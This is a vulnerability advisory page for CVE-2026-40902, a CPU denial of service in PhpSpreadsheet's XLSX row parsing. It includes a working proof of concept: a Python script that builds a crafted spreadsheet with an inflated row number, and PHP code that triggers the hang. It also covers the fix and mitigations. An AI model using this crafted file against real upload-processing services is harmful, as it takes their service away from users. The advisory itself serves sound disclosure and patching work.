CVE-2026-40902 — phpspreadsheet
HIGHCVE-2026-40902 is a high-severity (CVSS 7.5) CWE-770 vulnerability in phpoffice/phpspreadsheet. A fix is available for phpoffice/phpspreadsheet — see the affected versions and patch details below.
PhpSpreadsheet: CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40902.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-40902 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,189 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
import zipfile
import io
content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dos_row.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using
getRowIterator()or usesgetHighestRow()as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
- Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
- Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];
// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 4.0.0&&< 5.7.0 | 5.7.0composer require phpoffice/phpspreadsheet:^5.7.0 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 3.3.0&&< 3.10.5 | 3.10.5composer require phpoffice/phpspreadsheet:^3.10.5 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.4.5 | 2.4.5composer require phpoffice/phpspreadsheet:^2.4.5 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.16 | 2.1.16composer require phpoffice/phpspreadsheet:^2.1.16 |
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.30.4composer require phpoffice/phpspreadsheet:^1.30.4 |
Affected Products
phpspreadsheetphpofficeDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40902 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-40902 in your dependencies?
Find it across Packagist, including transitive dependencies.